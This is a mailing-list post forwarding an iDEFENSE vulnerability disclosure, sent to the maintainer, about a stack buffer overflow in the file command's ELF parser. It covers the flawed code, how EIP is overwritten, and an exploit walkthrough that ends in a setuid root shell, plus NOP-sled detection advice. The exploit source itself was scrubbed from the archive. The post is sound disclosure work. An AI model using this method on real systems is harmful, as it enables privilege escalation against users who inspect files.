Fwd: security vulnerability in File

[Ian Darwin]

I've received what looks like a legitimate report of a security
buffer overflow-type problem in file up to 3.39. Can somebody
who is more familiar with the ELF module please check into this
fairly quickly and get back do David Endler before he goes public
with this?

Thanks
Ian

----------  Forwarded Message  ----------

Subject: security vulnerability in File
Date: February 24, 2003 04:07 pm
From: David Endler <DEndler at iDefense.com>
To: "'mail_contact at darwinsys.com'" <mail_contact at darwinsys.com>

In accordance with iDEFENSE's security vulnerability disclosure policy
(www.idefense.com/disclosure.html), we wanted to bring a security issue to
your attention.  Please acknowledge receipt of this information so we can
work toward a public disclosure date that is convenient to you in building a
fix.

David Endler, CISSP
Director, Technical Intelligence
iDEFENSE, Inc.
14151 Newbrook Drive
Suite 100
Chantilly, VA 20151
voice: 703-344-2632
fax: 703-961-1071

dendler at idefense.com
www.idefense.com


Ian Darwin's File command contains a buffer overflow vulnerability that can
be leveraged by an attacker to execute arbitrary code under the privileges
of another user.

The crux of the problem lies in the following call to doshn() from tryelf()
on line 587 in readelf.c:

doshn(class, swap,
    fd,
    getu32(swap, elfhdr.e_shoff),
    getu16(swap, elfhdr.e_shnum),
    getu16(swap, elfhdr.e_shentsize));

The final argument to doshn() 'elfhdr.e_shentsize' is later used in a call
to read() as can be see here on line 133 in readelf.c:

if (read(fd, sh_addr, size) == -1)

The call to read() will copy 'size' bytes into the variable 'sh_addr' which
is defined on line 92 in readelf.c:

#define sh_addr (class == ELFCLASS32 \
                 ? (void *) &sh32 \

                 : (void *) &sh64)

The storage buffer used in the call to read() is of size 0x20 (32) bytes, by
supplying a 'size' of 0x28 (40) a stack overflow occurs overwriting the
stored frame pointer (EBP) and instruction pointer (EIP) thereby providing
the attacker with CPU control and the ability to execute arbitrary code.

Analysis:  (iDEFENSE US)  A user who can successfully convince another user
to examine a specially constructed exploit file with the File command can
execute arbitrary code under the privileges of that user.

File is an application that utilizes a magic file (typically located in
/usr/share/magic) to classify arbitrary files. The latest version of File is
available for download from: ftp://ftp.astron.com/pub/file.

Detection:  iDEFENSE has successfully exploited File version 3.37 and 3.39.
It is suspected that all versions up to an including the latest version
(3.39) are vulnerable.
Exploit:  The following is a sample walkthrough of a successful
exploitation. The attacker must initially generate a file that is specially
structured to trigger a buffer overflow in the File command:

$ ./mkfile_expl -C /tmp/suid -F /tmp/exploit -O "ASCII text" -R /bin/bash -p
1

Local /usr/bin/file upto v3.39 exploit by anonymous

Using PRESET: 1 [Linux file <= 3.38 ]

Using FILENAME: /tmp/exploit
Using REAL_SHELL: /bin/bash
Using CREATED_SHELL: /tmp/suid
Using OUTPUT: ASCII text

Using RET_ADDR: 0xbfffc3f0
Using NOP_COUNT: 6000

Exploit created -> /tmp/exploit
Time to wait till somebody starts /usr/bin/file /tmp/exploit

Once the tainted file has been generated the attacker must wait for or
coerce another user to examine the file with the File command.

# ls -l exploit
-rwxr-xr-x 1 farmer farmer 6406 Jan 11 22:07 exploit

# file exploit
/tmp/exploit: ASCII text

The File command reports that the examined file is "ASCII text" as the
attacker specified in the creation of the exploit file. At this point if the
attack was a success the original attack file (exploit) has been erased and
a set user id shell has been created:

# ls -l exploit
ls: exploit: No such file or directory

$ ls -l suid
-rwsr-sr-x 1 root root 541096 Jan 11 22:07 suid

The proof of concept exploit code has been attached to this message.

Workaround:  In order to increase the chances of exploitation an attacker
inserts many NO Operation (NOP) instructions thereby generated a "sled" to
create a greater range of addresses that will lead to the execution of
arbitrary code. A user who suspects a certain file may indeed be tainted can
check for the existence of a large number of consecutive NOP instructions
(0x90) using the hexdump command. The following is an excerpt of a hexdump
of a sample exploit file:

0000ec0 9090 9090 9090 9090 9090 9090 9090 9090
0000ed0 9090 9090 9090 9090 9090 9090 9090 9090
0000ee0 9090 9090 9090 9090 9090 9090 9090 9090
0000ef0 9090 9090 9090 9090 9090 9090 9090 9090
0000f00 9090 9090 9090 9090 9090 9090 9090 9090
0000f10 9090 9090 9090 9090 9090 9090 9090 9090

-------------------------------------------------------


-------------- next part --------------
A non-text attachment was scrubbed...
Name: mkfile_expl.c
Type: application/octet-stream
Size: 23843 bytes
Desc: not available
Url : http://mx.gw.com/pipermail/file/attachments/20030224/28754d2e/mkfile_expl.obj